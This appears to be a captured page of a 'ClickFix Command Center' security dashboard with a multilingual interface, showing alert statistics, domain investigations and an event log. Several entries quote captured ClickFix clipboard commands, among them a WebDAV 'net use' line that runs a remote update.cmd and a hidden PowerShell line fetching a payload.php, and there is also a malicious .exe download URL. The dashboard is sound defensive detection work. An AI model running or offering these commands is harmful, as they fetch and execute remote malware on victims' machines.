ClickFix Command Center

Erkennung, Erklarbarkeit und Reaktion auf einer zentralen Oberflache.

Fusión entre la versión anterior y la actual: inteligencia pública, operaciones privadas, investigación en grafo, listas de control y mensajería con la extensión.

Vista pública
Búsqueda forense

Filtra por dominio, comando, fecha y score para detectar patrones.

Betrieb

Actualiza revisión, bloquea dominios y manda casos a investigación.

Investigación

Construye grafos con nodos, relaciones, notas y evidencias compartibles.

Cobertura

Revisa fuentes de inteligencia, listas y configuracion de scoring.

Inicio rápido

Vista pública activa. Puedes consultar cobertura y buscar eventos; inicia Sesión para ejecutar acciones operativas.

  1. Revisa KPIs y alertas recientes.
  2. Filtra dominios/comandos sospechosos.
  3. Ejecuta bloqueo o abre investigación.

gesamtwarnungen

2318

gesamtblockierungen

1486

dominios únicos

1148

regiones monitorizadas

14

Warnungen 24h

1

Blockierungen 24h

0

Blockierungsquote 24h

0.00%

hohes Risiko 24h

0

neue Domains 24h

0

pend. fuera listas

133

gepruft

308

cobertura revisión

13.29%

manuelle Sites

0

pend. revisión

2010

Último escaneo

Vista previa: Después llega desde la extensión al detectar alerta y Vorher se genera en servidor (Site-Shot) tras recibir ese after.

scan_id: 1554 | mail.fundacion-primavera.org | 2026-03-09T13:23:28+00:00

Vorher

before scan

Nachher

after scan

Investigaciones destacadas en Inicio

Las define admin desde Investigación. En la portada pública solo salen si también están compartidas en Público.

Investigacion alerta #1858 - socheaphost.com

graph #17 | dominio: socheaphost.com | verdict: malicious | report_id: 1858 | posición: 0

Investigacion generada desde alerta #1858.
Dominio: socheaphost.com
Fecha alerta: 2026-03-27T14:11:15+00:00
Score: 83/100
URL: https://socheaphost.com/IRS_SUPPORT/RemotePCHost_EgS2oOxh0WtodC9.exe
Mensaje: Detected snippet: "Unsafe download blocked: RemotePCHost_EgS2oOxh0WtodC9 (1).exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: unsafe (83/100)" Detected snippet: "Models URL:0 Content:18 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: RemotePCHost_EgS2oOxh0WtodC9 (1).exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 83/100
Detectad
Abrir investigación Aun no es pública.

Vorher

Sin captura aprobada antes.

Nachher

Sin captura aprobada despues.

Investigacion alerta #1526 - iamdavidachom.com

graph #14 | dominio: iamdavidachom.com | verdict: investigating | report_id: 1526 | posición: 0

Investigacion generada desde alerta #1526.
Dominio: iamdavidachom.com
Fecha alerta: 2026-03-08T20:42:18+00:00
Score: 70/100
URL: https://iamdavidachom.com/?cfcw_captcha_page=1
Mensaje: Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "cmd /c net use Z: http://185.246.223.71/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete" Detected snippet: "Runtime verdict: unsafe (70/100)" Detected snippet: "Models URL:0 Content:35 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Detected snippet: "Runtime reason: Host appears in active blocklist." Clipboard blocked: "cmd /c net use Z: h

Vorher

Sin captura aprobada antes.

Nachher

Sin captura aprobada despues.

Investigacion alerta #1088 - guard-google.com

graph #6 | dominio: guard-google.com | verdict: investigating | report_id: 1088 | posición: 0

Investigacion generada desde alerta #1088.
Dominio: guard-google.com
Fecha alerta: 2026-03-08T16:32:18+00:00
Score: 0/100
URL: https://guard-google.com/
Mensaje: Manual user report

Vorher

Sin captura aprobada antes.

Nachher

Sin captura aprobada despues.

socheaphos.com

graph #8 | dominio: socheaphos.com | verdict: malicious | report_id: - | posición: 0

Sin resumen todavía.
Abrir investigación Aun no es pública.

Vorher

Sin captura aprobada antes.

Nachher

Sin captura aprobada despues.

Investigacion alerta #1405 - winnipeglandscapingpros.com

graph #7 | dominio: winnipeglandscapingpros.com | verdict: investigating | report_id: 1405 | posición: 0

Investigacion generada desde alerta #1405.
Dominio: winnipeglandscapingpros.com
Fecha alerta: 2026-03-08T18:43:42+00:00
Score: 0/100
URL: https://winnipeglandscapingpros.com/
Mensaje: Manual user report
Abrir investigación Aun no es pública.

Vorher

Sin captura aprobada antes.

Nachher

Sin captura aprobada despues.

Events

Triage workspace with event feed, detail panel, and quick actions.

24h alerts 1 24h blocks 0 pending 2010
Selecciona un evento para ver el detalle enriquecido.
Eventos por dominio (agrupados)
DominioEventosImpactos (dup)BloqueosScore maxÚltima actividad
manual.bandai-hobby.net 2 2 0 16/100 2026-09-11T10:19:37+00:00
octoenergy-production-user-documents.s3.amazonaws.com 3 3 0 16/100 2026-09-10T17:03:47+00:00
ginermairena.es 1 1 0 0/100 2026-09-10T11:08:57+00:00
camo.githubusercontent.com 1 1 0 16/100 2026-09-06T16:57:41+00:00
www.clubfernandovarela.es 1 1 0 10/100 2026-09-04T09:57:50+00:00
www.google.com 2 2 0 58/100 2026-09-04T02:16:12+00:00
cdn.prod.website-files.com 1 1 0 16/100 2026-09-02T10:23:06+00:00
ceiplasportadas.es 1 1 0 16/100 2026-08-28T10:38:20+00:00
melampobandas.es 1 2 0 10/100 2026-08-26T09:48:33+00:00
portal.edu.gva.es 1 1 0 16/100 2026-08-20T13:39:30+00:00
buildinstructions.com 2 2 0 9/100 2026-08-18T12:13:46+00:00
rsisinternational.org 1 1 0 16/100 2026-08-18T11:13:59+00:00
www.proofpoint.com 1 1 0 16/100 2026-08-14T15:16:44+00:00
atom.petworthsociety.co.uk 1 1 0 16/100 2026-08-02T07:17:56+00:00
drive.google.com 1 1 0 52/100 2026-07-30T11:37:52+00:00
Web-Screenshots (before/after)

Último escaneo

scan_id: 1554 | mail.fundacion-primavera.org | 2026-03-09T13:23:28+00:00

Vorher

approved
before scan

Después

approved
after scan
Klassische Tabellenansicht
FechaDominioMarcadoMensajeEstado
2026-09-11T10:19:37+00:00 manual.bandai-hobby.net - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: 4200.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: manual.bandai-hobby.net" Detected snippet: "Runtime verdict: low (10/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Detected snippet: "Runtime reason: Brand mismatch: mentions meta but host is manual.bandai-hobby.net." Confidence score: 10/100 pending
2026-09-10T17:03:47+00:00 octoenergy-production-user-documents.s3.amazonaws.com - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/xml)" Detected snippet: "Filename: A-B1D54FE3-441882812-1.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: octoenergy-production-user-documents.s3.amazonaws.com" Detected snippet: "Runtime verdict: low (14/100)" Detected snippet: "Models URL:14 Content:0 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Very long subdomain label." Detected snippet: "Runtime reason: Domain has multiple hyphens." Confidence score: 14/100 pending
2026-09-10T11:08:57+00:00 ginermairena.es - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: CIRCULAR-PRINCIPIO-DE-CURSO-26-27-1.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: ginermairena.es" Detected snippet: "Runtime verdict: low (0/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:0" Confidence score: $1/100 pending
2026-09-06T16:57:41+00:00 camo.githubusercontent.com - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (image/png)" Detected snippet: "Filename: 68747470733a2f2f692e696d6775722e636f6d2f78447a574b55552e706e67" Detected snippet: "Unfamiliar download host: camo.githubusercontent.com" Detected snippet: "Runtime verdict: low (0/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:0" Confidence score: 16/100 pending
2026-09-04T09:57:50+00:00 www.clubfernandovarela.es - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: nombramiento_juntadirectiva-1.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: www.clubfernandovarela.es" Detected snippet: "Runtime verdict: low (10/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Detected snippet: "Runtime reason: Brand mismatch: mentions meta but host is www.clubfernandovarela.es." Confidence score: 10/100 pending
2026-09-04T02:16:12+00:00 www.google.com REINCIDENTE DOM x9 Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "C:\WINDOWS\system32\cmd.exe /min /c powershell -NoP -ExecutionPolicy Bypass -w 1 -c "$p1='https://example-malicious-domain';$p2='/payload.php';$af=$p1+$p2; $..." Detected snippet: "Runtime verdict: low (31/100)" Detected snippet: "Models URL:0 Content:31 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "C:\WINDOWS\system32\cmd.exe /min /c powershell -NoP -ExecutionPolicy Bypass -w 1 -c "$p1='https://example-malicious-domain';$p2='/payload.php';$af=$p1+$p2; $..." Confidence score: 58/100 pending
2026-09-04T02:16:11+00:00 www.google.com REINCIDENTE DOM x9 Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "C:\WINDOWS\system32\cmd.exe /min /c powershell -NoP -ExecutionPolicy Bypass -w 1 -c "$p1='https://example-malicious-domain';$p2='/payload.php';$af=$p1+$p2; $..." Detected snippet: "Runtime verdict: low (31/100)" Detected snippet: "Models URL:0 Content:31 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "C:\WINDOWS\system32\cmd.exe /min /c powershell -NoP -ExecutionPolicy Bypass -w 1 -c "$p1='https://example-malicious-domain';$p2='/payload.php';$af=$p1+$p2; $..." Confidence score: 52/100 pending
2026-09-02T12:31:29+00:00 manual.bandai-hobby.net - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: 4200.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: manual.bandai-hobby.net" Detected snippet: "Runtime verdict: low (10/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Detected snippet: "Runtime reason: Brand mismatch: mentions meta but host is manual.bandai-hobby.net." Confidence score: 16/100 pending
2026-09-02T10:23:06+00:00 cdn.prod.website-files.com - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: 69d8bb5aea59e31efb3b8a7f_Tech_Report_ai_breach_mex_gov.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: cdn.prod.website-files.com" Detected snippet: "Runtime verdict: low (10/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Detected snippet: "Runtime reason: Brand mismatch: mentions google but host is cdn.prod.website-files.com." Confidence score: 16/100 pending
2026-08-28T10:38:20+00:00 ceiplasportadas.es - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: INFORMACION_COMEDOR_25-26.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: ceiplasportadas.es" Detected snippet: "Runtime verdict: low (10/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Detected snippet: "Runtime reason: Brand mismatch: mentions meta but host is ceiplasportadas.es." Confidence score: 16/100 pending
2026-08-26T14:33:14+00:00 octoenergy-production-user-documents.s3.amazonaws.com - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/xml)" Detected snippet: "Filename: A-B1D54FE3-441882812-1.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: octoenergy-production-user-documents.s3.amazonaws.com" Detected snippet: "Runtime verdict: low (14/100)" Detected snippet: "Models URL:14 Content:0 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Very long subdomain label." Detected snippet: "Runtime reason: Domain has multiple hyphens." Confidence score: 16/100 pending
2026-08-26T14:18:19+00:00 octoenergy-production-user-documents.s3.amazonaws.com - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/xml)" Detected snippet: "Filename: A-B1D54FE3-441882812-1.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: octoenergy-production-user-documents.s3.amazonaws.com" Detected snippet: "Runtime verdict: low (14/100)" Detected snippet: "Models URL:14 Content:0 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Very long subdomain label." Detected snippet: "Runtime reason: Domain has multiple hyphens." Confidence score: 16/100 pending
2026-08-26T09:38:33+00:00 melampobandas.es - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: 1787732042_ESPA%C3%91A%20CA%C3%91%C3%8D-%20%20PARTICHELAS.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: melampobandas.es" Detected snippet: "Runtime verdict: low (10/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Detected snippet: "Runtime reason: Brand mismatch: mentions meta but host is melampobandas.es." Confidence score: 10/100 pending
2026-08-20T13:39:30+00:00 portal.edu.gva.es - S'ha detectat contingut d'ordres ofuscat o codificat. Fragment detectat: "Non-HTML content probe (application/pdf)" Fragment detectat: "Filename: Curriculum-2n-Batxillerat-1.pdf" Fragment detectat: "Extension: .pdf" Fragment detectat: "Unfamiliar download host: portal.edu.gva.es" Fragment detectat: "Runtime verdict: low (10/100)" Fragment detectat: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Fragment detectat: "Runtime reason: Brand mismatch: mentions meta but host is portal.edu.gva.es." Puntuació de confiança: 16/100 pending
2026-08-18T12:13:46+00:00 buildinstructions.com - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: Captain-In-Terminator-Armour-HQ.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: buildinstructions.com" Detected snippet: "Runtime verdict: low (0/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:0" Confidence score: 9/100 pending
2026-08-18T11:13:59+00:00 rsisinternational.org - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: 2330-2347.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: rsisinternational.org" Detected snippet: "Runtime verdict: low (0/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:0" Confidence score: 16/100 pending
2026-08-14T15:16:44+00:00 www.proofpoint.com - Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: pfpt-data-sheets-es-ds-dspm.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Unfamiliar download host: www.proofpoint.com" Fragmento detectado: "Runtime verdict: low (10/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: Brand mismatch: mentions meta but host is www.proofpoint.com." Puntuación de confianza: 16/100 pending
2026-08-06T10:25:04+00:00 buildinstructions.com - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: Primaris-Gladiator-Valiant-or-Reaper-or-Lancer-HQ.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: buildinstructions.com" Detected snippet: "Runtime verdict: low (0/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:0" Confidence score: 8/100 pending
2026-08-02T07:17:56+00:00 atom.petworthsociety.co.uk - Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: June_2012_No_148.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: atom.petworthsociety.co.uk" Detected snippet: "Runtime verdict: low (10/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Detected snippet: "Runtime reason: Brand mismatch: mentions meta but host is atom.petworthsociety.co.uk." Confidence score: 16/100 pending
2026-07-30T11:37:52+00:00 drive.google.com - Suspicious command detected in the clipboard. Suspicious command pattern detected. Obfuscated or encoded command content detected. Detected snippet: "https://drive.google.com/drive/folders/1TaMK4nFBeePlkmb07urdqoBSWe5o7JVJ?usp=sharing" Detected snippet: "Runtime verdict: low (23/100)" Detected snippet: "Models URL:0 Content:23 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Obfuscation/evasion pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "https://drive.google.com/drive/folders/1TaMK4nFBeePlkmb07urdqoBSWe5o7JVJ?usp=sharing" Confidence score: 52/100 pending